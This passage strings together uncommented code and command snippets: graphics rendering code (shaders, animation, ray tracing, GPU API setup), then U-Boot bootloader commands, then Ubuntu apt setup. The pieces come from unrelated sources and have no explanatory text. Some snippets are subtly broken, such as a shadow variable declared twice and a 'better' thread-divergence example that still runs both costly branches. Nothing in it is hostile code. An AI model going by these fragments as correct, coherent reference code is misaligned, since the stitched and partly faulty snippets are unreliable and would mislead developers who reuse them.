        vec3 samplePos = position + kernel[i] * radius;

        // Project to screen space
        vec4 offset = projection * vec4(samplePos, 1.0);
        offset.xy /= offset.w;
        offset.xy = offset.xy * 0.5 + 0.5;

        // Get depth
        float sampleDepth = texture(depthTexture, offset.xy).r;

        // Range check and accumulate
        float rangeCheck = smoothstep(0.0, 1.0, radius / abs(position.z - sampleDepth));
        occlusion += (sampleDepth >= samplePos.z ? 1.0 : 0.0) * rangeCheck;
    }

    return 1.0 - (occlusion / kernelSize);
}

// Render depth from light's perspective
float shadow = 0.0;
vec3 projCoords = fragPosLightSpace.xyz / fragPosLightSpace.w;
projCoords = projCoords * 0.5 + 0.5;

float closestDepth = texture(shadowMap, projCoords.xy).r;
float currentDepth = projCoords.z;

shadow = currentDepth > closestDepth ? 1.0 : 0.0;

float shadow = 0.0;
vec2 texelSize = 1.0 / textureSize(shadowMap, 0);
for(int x = -1; x <= 1; x++) {
    for(int y = -1; y <= 1; y++) {
        float pcfDepth = texture(shadowMap, projCoords.xy + vec2(x, y) * texelSize).r;
        shadow += currentDepth > pcfDepth ? 1.0 : 0.0;
    }
}
shadow /= 9.0;

class KeyFrame:
    def __init__(self, time, value):
        self.time = time
        self.value = value

class Animation:
    def __init__(self):
        self.keyframes = []

    def add_keyframe(self, time, value):
        self.keyframes.append(KeyFrame(time, value))
        self.keyframes.sort(key=lambda k: k.time)

    def evaluate(self, time):
        # Find surrounding keyframes
        for i in range(len(self.keyframes) - 1):
            k0 = self.keyframes[i]
            k1 = self.keyframes[i + 1]

            if k0.time <= time <= k1.time:
                # Interpolate
                t = (time - k0.time) / (k1.time - k0.time)
                return self.interpolate(k0.value, k1.value, t)

        return self.keyframes[-1].value

def lerp(a, b, t):
    return a + (b - a) * t

def slerp(q1, q2, t):
    dot = q1.dot(q2)

    # Clamp dot product
    dot = max(-1.0, min(1.0, dot))

    theta = acos(dot) * t
    q3 = (q2 - q1 * dot).normalize()

    return q1 * cos(theta) + q3 * sin(theta)

def hermite(p0, p1, m0, m1, t):
    t2 = t * t
    t3 = t2 * t

    h00 = 2*t3 - 3*t2 + 1
    h10 = t3 - 2*t2 + t
    h01 = -2*t3 + 3*t2
    h11 = t3 - t2

    return h00*p0 + h10*m0 + h01*p1 + h11*m1

class Bone:
    def __init__(self, name, parent=None):
        self.name = name
        self.parent = parent
        self.children = []
        self.local_transform = Matrix4x4.identity()
        self.inverse_bind_pose = Matrix4x4.identity()

    def get_world_transform(self):
        if self.parent:
            return self.parent.get_world_transform() * self.local_transform
        return self.local_transform

// Vertex shader with skinning
const int MAX_BONES = 100;
const int MAX_BONE_INFLUENCE = 4;

uniform mat4 bones[MAX_BONES];

in vec3 position;
in ivec4 boneIDs;
in vec4 weights;

void main() {
    mat4 boneTransform = bones[boneIDs[0]] * weights[0];
    boneTransform += bones[boneIDs[1]] * weights[1];
    boneTransform += bones[boneIDs[2]] * weights[2];
    boneTransform += bones[boneIDs[3]] * weights[3];

    vec4 localPosition = boneTransform * vec4(position, 1.0);
    gl_Position = projection * view * model * localPosition;
}

def solve_two_bone_ik(root, mid, end, target):
    """
    Solve 2-bone IK (e.g., arm: shoulder-elbow-wrist)
    """
    # Distances
    a = distance(root, mid)  # Upper bone
    b = distance(mid, end)   # Lower bone
    c = distance(root, target)  # To target

    # Law of cosines
    # Angle at middle joint
    cos_B = (a*a + b*b - c*c) / (2*a*b)
    cos_B = clamp(cos_B, -1, 1)
    angle_B = acos(cos_B)

    # Angle at root
    cos_A = (a*a + c*c - b*b) / (2*a*c)
    cos_A = clamp(cos_A, -1, 1)
    angle_A = acos(cos_A)

    # Calculate rotations
    to_target = normalize(target - root)
    to_mid = normalize(mid - root)

    # Apply rotations to skeleton
    root.rotation = quaternion_from_to(to_mid, to_target) * angle_A
    mid.rotation = quaternion_axis_angle(perpendicular(to_mid), angle_B)

def blend_shapes(base_mesh, targets, weights):
    """
    targets: list of displacement vectors
    weights: blend weight for each target
    """
    result = base_mesh.copy()

    for i, (target, weight) in enumerate(zip(targets, weights)):
        for v in range(len(result.vertices)):
            result.vertices[v] += target.displacements[v] * weight

    return result

// Initialization
GLuint VAO, VBO;
glGenVertexArrays(1, &VAO);
glGenBuffers(1, &VBO);

glBindVertexArray(VAO);
glBindBuffer(GL_ARRAY_BUFFER, VBO);
glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices, GL_STATIC_DRAW);

glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0);
glEnableVertexAttribArray(0);

// Render loop
while (!glfwWindowShouldClose(window)) {
    // Clear
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);

    // Use shader
    glUseProgram(shaderProgram);

    // Set uniforms
    glUniformMatrix4fv(mvpLoc, 1, GL_FALSE, glm::value_ptr(mvp));

    // Draw
    glBindVertexArray(VAO);
    glDrawArrays(GL_TRIANGLES, 0, vertexCount);

    // Swap buffers
    glfwSwapBuffers(window);
    glfwPollEvents();
}

// Create device and swap chain
D3D_FEATURE_LEVEL featureLevel;
ID3D11Device* device;
ID3D11DeviceContext* context;
IDXGISwapChain* swapChain;

D3D11CreateDeviceAndSwapChain(
    nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr,
    0, nullptr, 0, D3D11_SDK_VERSION,
    &swapChainDesc, &swapChain,
    &device, &featureLevel, &context
);

// Render loop
while (running) {
    // Clear
    context->ClearRenderTargetView(renderTargetView, clearColor);
    context->ClearDepthStencilView(depthStencilView, D3D11_CLEAR_DEPTH, 1.0f, 0);

    // Set shaders
    context->VSSetShader(vertexShader, nullptr, 0);
    context->PSSetShader(pixelShader, nullptr, 0);

    // Draw
    context->DrawIndexed(indexCount, 0, 0);

    // Present
    swapChain->Present(1, 0);
}

// Create instance
VkInstanceCreateInfo createInfo{};
createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO;
createInfo.pApplicationInfo = &appInfo;

VkInstance instance;
vkCreateInstance(&createInfo, nullptr, &instance);

// Create logical device
VkDevice device;
vkCreateDevice(physicalDevice, &deviceCreateInfo, nullptr, &device);

// Create command pool
VkCommandPool commandPool;
vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool);

// Record command buffer
vkBeginCommandBuffer(commandBuffer, &beginInfo);
vkCmdBeginRenderPass(commandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE);
vkCmdBindPipeline(commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, graphicsPipeline);
vkCmdDraw(commandBuffer, vertexCount, 1, 0, 0);
vkCmdEndRenderPass(commandBuffer);
vkEndCommandBuffer(commandBuffer);

// Submit and present
vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFence);
vkQueuePresentKHR(presentQueue, &presentInfo);

// Create device
let device = MTLCreateSystemDefaultDevice()
let commandQueue = device.makeCommandQueue()

// Create render pipeline
let pipelineDescriptor = MTLRenderPipelineDescriptor()
pipelineDescriptor.vertexFunction = vertexFunction
pipelineDescriptor.fragmentFunction = fragmentFunction
let pipelineState = try device.makeRenderPipelineState(descriptor: pipelineDescriptor)

// Render
let commandBuffer = commandQueue.makeCommandBuffer()
let renderEncoder = commandBuffer.makeRenderCommandEncoder(descriptor: renderPassDescriptor)

renderEncoder.setRenderPipelineState(pipelineState)
renderEncoder.setVertexBuffer(vertexBuffer, offset: 0, index: 0)
renderEncoder.drawPrimitives(type: .triangle, vertexStart: 0, vertexCount: 3)

renderEncoder.endEncoding()
commandBuffer.present(drawable)
commandBuffer.commit()

// Get context
const canvas = document.getElementById('canvas');
const gl = canvas.getContext('webgl2');

// Create shader program
const program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
gl.useProgram(program);

// Create buffer
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);

// Render loop
function render() {
    gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);

    gl.uniformMatrix4fv(mvpLocation, false, mvpMatrix);
    gl.drawArrays(gl.TRIANGLES, 0, vertexCount);

    requestAnimationFrame(render);
}
render();

def ray_trace(scene, camera, width, height):
    image = create_image(width, height)

    for y in range(height):
        for x in range(width):
            # Generate ray from camera through pixel
            ray = camera.generate_ray(x, y, width, height)

            # Trace ray and get color
            color = trace_ray(scene, ray, max_depth=5)

            image[y][x] = color

    return image

def trace_ray(scene, ray, depth):
    if depth <= 0:
        return BLACK

    # Find closest intersection
    hit = scene.intersect(ray)

    if not hit:
        return scene.background_color

    # Calculate shading at hit point
    color = shade(scene, hit, ray)

    # Handle reflection
    if hit.material.reflective:
        reflect_dir = reflect(ray.direction, hit.normal)
        reflect_ray = Ray(hit.point + hit.normal * EPSILON, reflect_dir)
        reflect_color = trace_ray(scene, reflect_ray, depth - 1)
        color = color * (1 - hit.material.reflectivity) + reflect_color * hit.material.reflectivity

    # Handle refraction (transparency)
    if hit.material.transparent:
        refract_dir = refract(ray.direction, hit.normal, hit.material.ior)
        refract_ray = Ray(hit.point - hit.normal * EPSILON, refract_dir)
        refract_color = trace_ray(scene, refract_ray, depth - 1)
        color = mix(color, refract_color, hit.material.transparency)

    return color

class Sphere:
    def __init__(self, center, radius):
        self.center = center
        self.radius = radius

    def intersect(self, ray):
        # Ray: P(t) = origin + t * direction
        # Sphere: |P - center|² = radius²

        oc = ray.origin - self.center
        a = dot(ray.direction, ray.direction)
        b = 2.0 * dot(oc, ray.direction)
        c = dot(oc, oc) - self.radius * self.radius

        discriminant = b*b - 4*a*c

        if discriminant < 0:
            return None  # No intersection

        t = (-b - sqrt(discriminant)) / (2.0 * a)

        if t < 0:
            return None  # Behind ray origin

        hit_point = ray.at(t)
        normal = normalize(hit_point - self.center)

        return Hit(t, hit_point, normal, self)

def ray_triangle_intersect(ray, v0, v1, v2):
    edge1 = v1 - v0
    edge2 = v2 - v0

    h = cross(ray.direction, edge2)
    a = dot(edge1, h)

    if abs(a) < EPSILON:
        return None  # Ray parallel to triangle

    f = 1.0 / a
    s = ray.origin - v0
    u = f * dot(s, h)

    if u < 0.0 or u > 1.0:
        return None

    q = cross(s, edge1)
    v = f * dot(ray.direction, q)

    if v < 0.0 or u + v > 1.0:
        return None

    t = f * dot(edge2, q)

    if t > EPSILON:
        hit_point = ray.at(t)
        normal = normalize(cross(edge1, edge2))
        return Hit(t, hit_point, normal, (u, v))

    return None

class BVHNode:
    def __init__(self, objects):
        if len(objects) == 1:
            self.left = self.right = None
            self.object = objects[0]
            self.bbox = objects[0].bounding_box()
        else:
            # Split objects
            axis = random.choice([0, 1, 2])
            objects.sort(key=lambda obj: obj.center()[axis])
            mid = len(objects) // 2

            self.left = BVHNode(objects[:mid])
            self.right = BVHNode(objects[mid:])
            self.object = None
            self.bbox = union(self.left.bbox, self.right.bbox)

    def intersect(self, ray):
        if not self.bbox.intersect(ray):
            return None

        if self.object:
            return self.object.intersect(ray)

        hit_left = self.left.intersect(ray) if self.left else None
        hit_right = self.right.intersect(ray) if self.right else None

        if hit_left and hit_right:
            return hit_left if hit_left.t < hit_right.t else hit_right
        return hit_left or hit_right

def path_trace(scene, ray, depth):
    if depth <= 0:
        return BLACK

    hit = scene.intersect(ray)
    if not hit:
        return scene.background_color

    # Direct lighting
    direct = sample_lights(scene, hit)

    # Indirect lighting (Monte Carlo integration)
    if random.random() < 0.5:  # Russian roulette
        # Sample random direction in hemisphere
        random_dir = sample_hemisphere(hit.normal)
        indirect_ray = Ray(hit.point + hit.normal * EPSILON, random_dir)
        indirect = path_trace(scene, indirect_ray, depth - 1)

        # BRDF evaluation
        brdf = hit.material.evaluate_brdf(ray.direction, random_dir, hit.normal)
        cos_theta = max(0, dot(hit.normal, random_dir))

        return direct + 2.0 * brdf * indirect * cos_theta

    return direct

[shader("raygeneration")]
void RayGen() {
    uint2 launchIndex = DispatchRaysIndex().xy;

    RayDesc ray;
    ray.Origin = cameraPos;
    ray.Direction = calculateRayDirection(launchIndex);
    ray.TMin = 0.001;
    ray.TMax = 10000.0;

    RayPayload payload;
    TraceRay(scene, RAY_FLAG_NONE, 0xFF, 0, 0, 0, ray, payload);

    output[launchIndex] = payload.color;
}

[shader("closesthit")]
void ClosestHit(inout RayPayload payload, in BuiltInTriangleIntersectionAttributes attr) {
    payload.color = shade(attr);
}

Application (CPU)
    ↓
Command Processor (GPU)
    ↓
Vertex Fetch
    ↓
Vertex Shader (Programmable)
    ↓
Tessellation (Optional)
    ↓
Geometry Shader (Optional)
    ↓
Rasterizer (Fixed)
    ↓
Pixel/Fragment Shader (Programmable)
    ↓
ROP (Render Output Unit)
    ↓
Frame Buffer

// Bad: causes thread divergence
if (threadID % 2 == 0) {
    // Half the warp executes this
    result = expensiveOperation1();
} else {
    // Other half executes this
    result = expensiveOperation2();
}
// Both paths must be executed, other threads idle

// Better: avoid divergence
result = mix(expensiveOperation1(), expensiveOperation2(), threadID % 2);

#version 430

layout (local_size_x = 16, local_size_y = 16) in;
layout (rgba32f, binding = 0) uniform image2D imgOutput;

void main() {
    ivec2 pixelCoords = ivec2(gl_GlobalInvocationID.xy);

    // Perform computation
    vec4 color = computePixelColor(pixelCoords);

    imageStore(imgOutput, pixelCoords, color);
}

vec4 TAA(vec2 uv, vec4 currentColor, sampler2D historyTexture) {
    // Reproject to previous frame
    vec2 velocity = texture(velocityBuffer, uv).xy;
    vec2 prevUV = uv - velocity;

    // Sample history
    vec4 historyColor = texture(historyTexture, prevUV);

    // Neighborhood clamping to reduce ghosting
    vec4 nearColor0 = textureOffset(currentTexture, uv, ivec2(1, 0));
    vec4 nearColor1 = textureOffset(currentTexture, uv, ivec2(-1, 0));
    vec4 nearColor2 = textureOffset(currentTexture, uv, ivec2(0, 1));
    vec4 nearColor3 = textureOffset(currentTexture, uv, ivec2(0, -1));

    vec4 boxMin = min(currentColor, min(min(nearColor0, nearColor1), min(nearColor2, nearColor3)));
    vec4 boxMax = max(currentColor, max(max(nearColor0, nearColor1), max(nearColor2, nearColor3)));

    historyColor = clamp(historyColor, boxMin, boxMax);

    // Blend
    float blendFactor = 0.1;
    return mix(historyColor, currentColor, blendFactor);
}

// Tone mapping (Reinhard)
vec3 reinhard(vec3 hdrColor) {
    return hdrColor / (hdrColor + vec3(1.0));
}

// Tone mapping (ACES Filmic)
vec3 acesFilmic(vec3 x) {
    float a = 2.51;
    float b = 0.03;
    float c = 2.43;
    float d = 0.59;
    float e = 0.14;
    return clamp((x * (a * x + b)) / (x * (c * x + d) + e), 0.0, 1.0);
}

// Exposure adjustment
vec3 exposureToneMapping(vec3 hdrColor, float exposure) {
    vec3 exposed = hdrColor * exposure;
    return acesFilmic(exposed);
}

// 1. Extract bright areas
vec3 extractBright(vec3 color, float threshold) {
    float brightness = dot(color, vec3(0.2126, 0.7152, 0.0722));
    return brightness > threshold ? color : vec3(0.0);
}

// 2. Gaussian blur (separable)
vec3 gaussianBlur(sampler2D tex, vec2 uv, vec2 direction) {
    vec3 result = vec3(0.0);
    float weights[5] = float[](0.227027, 0.1945946, 0.1216216, 0.054054, 0.016216);

    result += texture(tex, uv).rgb * weights[0];
    for(int i = 1; i < 5; i++) {
        result += texture(tex, uv + direction * i).rgb * weights[i];
        result += texture(tex, uv - direction * i).rgb * weights[i];
    }
    return result;
}

// 3. Combine with original
vec3 finalColor = originalColor + bloomColor * bloomIntensity;

class LODMesh:
    def __init__(self):
        self.lods = [
            (1000.0, high_poly_mesh),    # < 1000 units
            (5000.0, medium_poly_mesh),  # < 5000 units
            (float('inf'), low_poly_mesh) # > 5000 units
        ]

    def get_mesh(self, distance):
        for threshold, mesh in self.lods:
            if distance < threshold:
                return mesh
        return self.lods[-1][1]

def frustum_cull(camera, objects):
    planes = extract_frustum_planes(camera.view_projection)
    visible = []

    for obj in objects:
        bbox = obj.bounding_box
        if is_bbox_in_frustum(bbox, planes):
            visible.append(obj)

    return visible

def is_bbox_in_frustum(bbox, planes):
    for plane in planes:
        # Test if all corners are on negative side of plane
        if all(plane.distance(corner) < 0 for corner in bbox.corners):
            return False  # Completely outside
    return True  # At least partially inside

// Hierarchical Z-buffer approach
// 1. Render depth of occluders to mip-mapped depth buffer
// 2. Test object bounds against appropriate mip level

bool isOccluded(vec3 bboxMin, vec3 bboxMax, sampler2D hierZ) {
    // Project bounding box to screen space
    vec4 screenMin = projection * view * vec4(bboxMin, 1.0);
    vec4 screenMax = projection * view * vec4(bboxMax, 1.0);

    screenMin.xyz /= screenMin.w;
    screenMax.xyz /= screenMax.w;

    // Sample appropriate mip level
    float width = screenMax.x - screenMin.x;
    float level = log2(width * screenWidth);

    float occluderDepth = textureLod(hierZ, screenMin.xy, level).r;

    return screenMin.z > occluderDepth;
}

// Tessellation Control Shader
layout (vertices = 3) out;

void main() {
    // Pass through vertex
    gl_out[gl_InvocationID].gl_Position = gl_in[gl_InvocationID].gl_Position;

    // Set tessellation levels based on distance
    float distance = length(cameraPos - gl_in[gl_InvocationID].gl_Position.xyz);
    float tessLevel = mix(64.0, 1.0, clamp(distance / 100.0, 0.0, 1.0));

    gl_TessLevelOuter[gl_InvocationID] = tessLevel;
    gl_TessLevelInner[0] = tessLevel;
}

// Tessellation Evaluation Shader
layout (triangles, equal_spacing, ccw) in;

void main() {
    // Barycentric interpolation
    vec3 p0 = gl_TessCoord.x * gl_in[0].gl_Position.xyz;
    vec3 p1 = gl_TessCoord.y * gl_in[1].gl_Position.xyz;
    vec3 p2 = gl_TessCoord.z * gl_in[2].gl_Position.xyz;
    vec3 pos = p0 + p1 + p2;

    // Displacement mapping
    float height = texture(heightMap, uv).r;
    pos += normal * height * displacementScale;

    gl_Position = projection * view * vec4(pos, 1.0);
}

// Divide screen into tiles (clusters)
// Assign lights to clusters
// Each pixel only processes lights in its cluster

ivec3 getCluster(vec3 fragPos) {
    ivec2 tile = ivec2(gl_FragCoord.xy / TILE_SIZE);
    int zSlice = int(log(fragPos.z) * zSlices / log(farPlane / nearPlane));
    return ivec3(tile, zSlice);
}

void main() {
    ivec3 cluster = getCluster(FragPos);

    // Get light list for this cluster
    int lightCount = clusterLightCounts[cluster];
    int lightOffset = clusterLightOffsets[cluster];

    vec3 lighting = vec3(0.0);
    for (int i = 0; i < lightCount; i++) {
        int lightIndex = clusterLightIndices[lightOffset + i];
        lighting += calculateLight(lights[lightIndex]);
    }

    FragColor = vec4(lighting * albedo, 1.0);
}

Power On → ROM Boot Code → SPL/TPL → U-Boot Proper → Operating System

# Install cross-compilation toolchain
sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install device-tree-compiler
sudo apt-get install bison flex

# Clone U-Boot repository
git clone https://github.com/u-boot/u-boot.git
cd u-boot

# Configure for specific board
make <board_name>_defconfig

# Example for Raspberry Pi 3
make rpi_3_defconfig

# Build
make CROSS_COMPILE=arm-linux-gnueabi-

# Build with specific number of threads
make -j8 CROSS_COMPILE=arm-linux-gnueabi-

# ARM 32-bit
make CROSS_COMPILE=arm-linux-gnueabi-

# ARM 64-bit
make CROSS_COMPILE=aarch64-linux-gnu-

# MIPS
make CROSS_COMPILE=mips-linux-gnu-

# PowerPC
make CROSS_COMPILE=powerpc-linux-gnu-

/ {
    model = "Custom Board";
    compatible = "vendor,board";

    memory {
        reg = <0x80000000 0x40000000>; // 1GB RAM at 0x80000000
    };

    chosen {
        bootargs = "console=ttyS0,115200";
        stdout-path = &uart0;
    };
};

# View all environment variables
printenv

# Set variable
setenv bootargs 'console=ttyS0,115200 root=/dev/mmcblk0p2 rw'

# Save to persistent storage
saveenv

# Delete variable
setenv bootargs

# Boot with specific arguments
setenv bootcmd 'mmc dev 0; ext4load mmc 0:1 ${kernel_addr} /boot/zImage; bootz ${kernel_addr}'

# Display version
version

# Board information
bdinfo

# CPU information
cpu info

# Memory test
mtest 0x80000000 0x80100000

# Display memory
md.b 0x80000000 100    # Display 100 bytes
md.w 0x80000000 50     # Display 50 words (16-bit)
md.l 0x80000000 25     # Display 25 long words (32-bit)

# Write to memory
mw.l 0x80000000 0xdeadbeef

# Copy memory
cp.b 0x80000000 0x81000000 1000  # Copy 1000 bytes

# Compare memory
cmp.b 0x80000000 0x81000000 1000

# Fill memory
mw.b 0x80000000 0xff 1000  # Fill 1000 bytes with 0xff

# List MMC devices
mmc list

# Select MMC device
mmc dev 0

# Display partition info
mmc part

# Read from MMC to RAM
mmc read ${kernel_addr_r} 0x800 0x4000  # Read 0x4000 blocks from offset 0x800

# Write from RAM to MMC
mmc write ${kernel_addr_r} 0x800 0x4000

# List files (FAT)
fatls mmc 0:1 /

# Load file from FAT
fatload mmc 0:1 ${kernel_addr_r} /boot/zImage

# List files (ext4)
ext4ls mmc 0:2 /

# Load file from ext4
ext4load mmc 0:2 ${kernel_addr_r} /boot/zImage

# Get file size
ext4size mmc 0:2 /boot/zImage

# Initialize USB
usb start

# List USB devices
usb tree

# List storage devices
usb storage

# Access USB storage
fatls usb 0:1 /
fatload usb 0:1 ${kernel_addr_r} /kernel.img

# Set network parameters
setenv ipaddr 192.168.1.100
setenv netmask 255.255.255.0
setenv serverip 192.168.1.1
setenv gatewayip 192.168.1.1

# Display network settings
print ipaddr serverip

# Test connectivity
ping 192.168.1.1

# Load file via TFTP
tftp ${kernel_addr_r} zImage

# Load to specific address
tftp 0x82000000 devicetree.dtb

# Load and set filesize
tftp ${kernel_addr_r} zImage
echo ${filesize}

# Set NFS parameters
setenv nfsroot /srv/nfs/rootfs
setenv nfsboot 'setenv bootargs root=/dev/nfs nfsroot=${serverip}:${nfsroot},v3,tcp ip=${ipaddr}; tftp ${kernel_addr_r} zImage; tftp ${fdt_addr_r} board.dtb; bootz ${kernel_addr_r} - ${fdt_addr_r}'

# Boot from NFS
run nfsboot

# Boot Linux kernel (ARM zImage)
bootz ${kernel_addr_r} - ${fdt_addr_r}

# Boot Linux kernel (legacy uImage)
bootm ${kernel_addr_r}

# Boot with initramfs
bootz ${kernel_addr_r} ${ramdisk_addr_r} ${fdt_addr_r}

# Boot from specific device
boot mmc 0:1

# Execute saved boot command
boot

# Create text file (boot.cmd)
cat > boot.cmd << 'EOF'
echo "Loading kernel..."
ext4load mmc 0:2 ${kernel_addr_r} /boot/zImage
ext4load mmc 0:2 ${fdt_addr_r} /boot/board.dtb
setenv bootargs console=ttyS0,115200 root=/dev/mmcblk0p2 rw rootwait
echo "Booting kernel..."
bootz ${kernel_addr_r} - ${fdt_addr_r}
EOF

# Compile to boot.scr
mkimage -C none -A arm -T script -d boot.cmd boot.scr

# Place on boot partition
cp boot.scr /media/boot/

# Load script from SD card
fatload mmc 0:1 ${scriptaddr} boot.scr

# Execute script
source ${scriptaddr}

# Or in one command
fatload mmc 0:1 ${scriptaddr} boot.scr; source ${scriptaddr}

setenv bootcmd 'fatload mmc 0:1 ${scriptaddr} boot.scr; source ${scriptaddr}'
saveenv

# Load new U-Boot via TFTP
tftp ${loadaddr} u-boot.bin

# Flash to storage
mmc dev 0
mmc write ${loadaddr} 0x100 0x800  # Write to offset 0x100, 0x800 blocks

# Initialize USB
usb start

# Load U-Boot from USB
fatload usb 0:1 ${loadaddr} u-boot.bin

# Flash to MMC
mmc dev 0
mmc write ${loadaddr} 0x100 0x800

# Load from SD card
fatload mmc 0:1 ${loadaddr} u-boot.bin

# Write to eMMC
mmc dev 1
mmc write ${loadaddr} 0x100 0x800

# boot_update.cmd
echo "Kernel Update Script"
if fatload mmc 0:1 ${kernel_addr_r} zImage.new; then
    echo "New kernel found, updating..."
    ext4write mmc 0:2 ${kernel_addr_r} /boot/zImage ${filesize}
    echo "Kernel updated successfully"
else
    echo "No update found, booting normally..."
fi
ext4load mmc 0:2 ${kernel_addr_r} /boot/zImage
ext4load mmc 0:2 ${fdt_addr_r} /boot/board.dtb
bootz ${kernel_addr_r} - ${fdt_addr_r}

# Enable verified boot in configuration
CONFIG_FIT=y
CONFIG_FIT_SIGNATURE=y
CONFIG_RSA=y

# Create FIT image with signature
mkimage -f kernel.its kernel.itb

/dts-v1/;

/ {
    description = "Signed Kernel Image";
    #address-cells = <1>;

    images {
        kernel {
            description = "Linux Kernel";
            data = /incbin/("zImage");
            type = "kernel";
            arch = "arm";
            os = "linux";
            compression = "none";
            load = <0x80008000>;
            entry = <0x80008000>;
            hash-1 {
                algo = "sha256";
            };
        };

        fdt {
            description = "Device Tree";
            data = /incbin/("board.dtb");
            type = "flat_dt";
            arch = "arm";
            compression = "none";
            hash-1 {
                algo = "sha256";
            };
        };
    };

    configurations {
        default = "config-1";
        config-1 {
            description = "Boot Configuration";
            kernel = "kernel";
            fdt = "fdt";
            signature-1 {
                algo = "sha256,rsa2048";
                key-name-hint = "dev";
                sign-images = "kernel", "fdt";
            };
        };
    };
};

# Prepare SPL to load kernel directly
setenv bootcmd 'spl export fdt ${kernel_addr_r} - ${fdt_addr_r}'

# Save configuration
saveenv

# SPL will load kernel directly on next boot

# Configure DFU
setenv dfu_alt_info 'kernel ram ${kernel_addr_r} 0x1000000; dtb ram ${fdt_addr_r} 0x100000'

# Start DFU mode
dfu 0 ram 0

# From host PC
dfu-util -a kernel -D zImage
dfu-util -a dtb -D board.dtb

# Expose MMC as USB storage
ums 0 mmc 0

# From host, device appears as /dev/sdX
# Can be mounted and modified directly

# Enable verbose output
setenv bootargs ${bootargs} loglevel=7

# Debug specific subsystems
setenv debug 1

# Dump memory region to console
md.b ${kernel_addr_r} 0x100

# Search for pattern in memory
while true; do
    if itest.l *${search_addr} == 0xdeadbeef; then
        echo "Pattern found at ${search_addr}"
        exit
    fi
    setexpr search_addr ${search_addr} + 4
done

# Read GPIO
gpio input 42

# Set GPIO output
gpio set 42    # Set high
gpio clear 42  # Set low
gpio toggle 42 # Toggle state

# Scan I2C bus
i2c dev 0
i2c probe

# Read from I2C device
i2c read 0x50 0x00 1 ${loadaddr} 0x100

# Write to I2C device
i2c write ${loadaddr} 0x50 0x00 1 0x100

CONFIG_ENV_IS_IN_MMC=y
CONFIG_ENV_OFFSET=0x400000
CONFIG_ENV_SIZE=0x2000

CONFIG_ENV_IS_IN_SPI_FLASH=y
CONFIG_ENV_OFFSET=0x100000
CONFIG_ENV_SIZE=0x2000

CONFIG_ENV_IS_IN_NAND=y
CONFIG_ENV_OFFSET=0x400000
CONFIG_ENV_SIZE=0x20000

CONFIG_ENV_IS_IN_FAT=y
CONFIG_ENV_FAT_DEVICE_AND_PART="0:1"
CONFIG_ENV_FAT_FILE="uboot.env"

# Reset to default environment
env default -a

# Save current environment
saveenv

# Import environment from file
env import -t ${loadaddr} ${filesize}

# Export environment to file
env export -t ${loadaddr}
fatwrite mmc 0:1 ${loadaddr} uboot_env.txt ${filesize}

setenv bootdelay 0        # Skip delay
setenv silent 1           # Reduce console output

# Direct boot without scripts
setenv bootcmd 'mmc dev 0; ext4load mmc 0:2 0x82000000 /boot/zImage; ext4load mmc 0:2 0x88000000 /boot/board.dtb; bootz 0x82000000 - 0x88000000'

# SPL loads kernel directly
CONFIG_SPL_OS_BOOT=y

# Optimize cache settings
icache on
dcache on

# Set appropriate load addresses
setenv kernel_addr_r 0x82000000
setenv fdt_addr_r 0x88000000
setenv ramdisk_addr_r 0x88080000

# Recreate boot image with correct header
mkimage -A arm -O linux -T kernel -C none -a 0x80008000 -e 0x80008000 -n "Linux" -d zImage uImage

# Verify network settings
print ipaddr serverip

# Test connectivity
ping ${serverip}

# Check TFTP server is running
# On host: sudo systemctl status tftpd-hpa

# Verify firewall allows TFTP (port 69)

# Reset to default
env default -a
saveenv
reset

# At U-Boot prompt
setenv bootcmd 'echo Safe mode; exit'
saveenv
reset

# Test boot without saving
bootm ${kernel_addr_r}

# Only save after verification
saveenv

# Export current environment
env export -t ${loadaddr}
fatwrite mmc 0:1 ${loadaddr} env_backup.txt ${filesize}

# Good
setenv production_kernel '/boot/zImage-stable'

# Avoid
setenv k '/boot/zImage-stable'

# Add comments in boot scripts
echo "=== Custom Boot Script v1.2 ==="
echo "Loading kernel from eMMC..."

# Try primary, fallback to backup
if ext4load mmc 0:2 ${kernel_addr_r} /boot/zImage; then
    echo "Primary kernel loaded"
else
    echo "Primary failed, loading backup..."
    ext4load mmc 0:2 ${kernel_addr_r} /boot/zImage.backup
fi

# Add version to environment
setenv uboot_version 'U-Boot 2023.10 Custom Build 1.0'

# Download ISO from ubuntu.com
# Create bootable USB with tools like:
# - Rufus (Windows)
# - Etcher (Cross-platform)
# - dd (Linux)

# Example using dd (be careful with device names!)
sudo dd if=ubuntu-24.04-desktop-amd64.iso of=/dev/sdX bs=4M status=progress oflag=sync

# Install WSL2 on Windows
wsl --install -d Ubuntu

# Or install specific version
wsl --install -d Ubuntu-22.04

# Update package lists
sudo apt update

# Upgrade installed packages
sudo apt upgrade -y

# Distribution upgrade (more comprehensive)
sudo apt full-upgrade -y

# Clean up
sudo apt autoremove -y
sudo apt autoclean

# Development tools
sudo apt install build-essential git curl wget vim -y

# Common utilities
sudo apt install htop tree net-tools openssh-server -y

# Additional codecs and fonts (for desktop)
sudo apt install ubuntu-restricted-extras -y

# Set timezone
sudo timedatectl set-timezone America/New_York

# Set hostname
sudo hostnamectl set-hostname my-ubuntu-server

# Configure automatic security updates
sudo apt install unattended-upgrades -y
sudo dpkg-reconfigure --priority=low unattended-upgrades

# Update package lists from repositories
sudo apt update

# Upgrade all installed packages
sudo apt upgrade

# Full upgrade (handles dependencies more aggressively)
sudo apt full-upgrade

# Install a package
sudo apt install package-name

# Install multiple packages
sudo apt install package1 package2 package3

# Install specific version
sudo apt install package-name=version

# Remove package (keep configuration files)
sudo apt remove package-name

# Remove package and configuration files
sudo apt purge package-name

# Remove unused dependencies
sudo apt autoremove

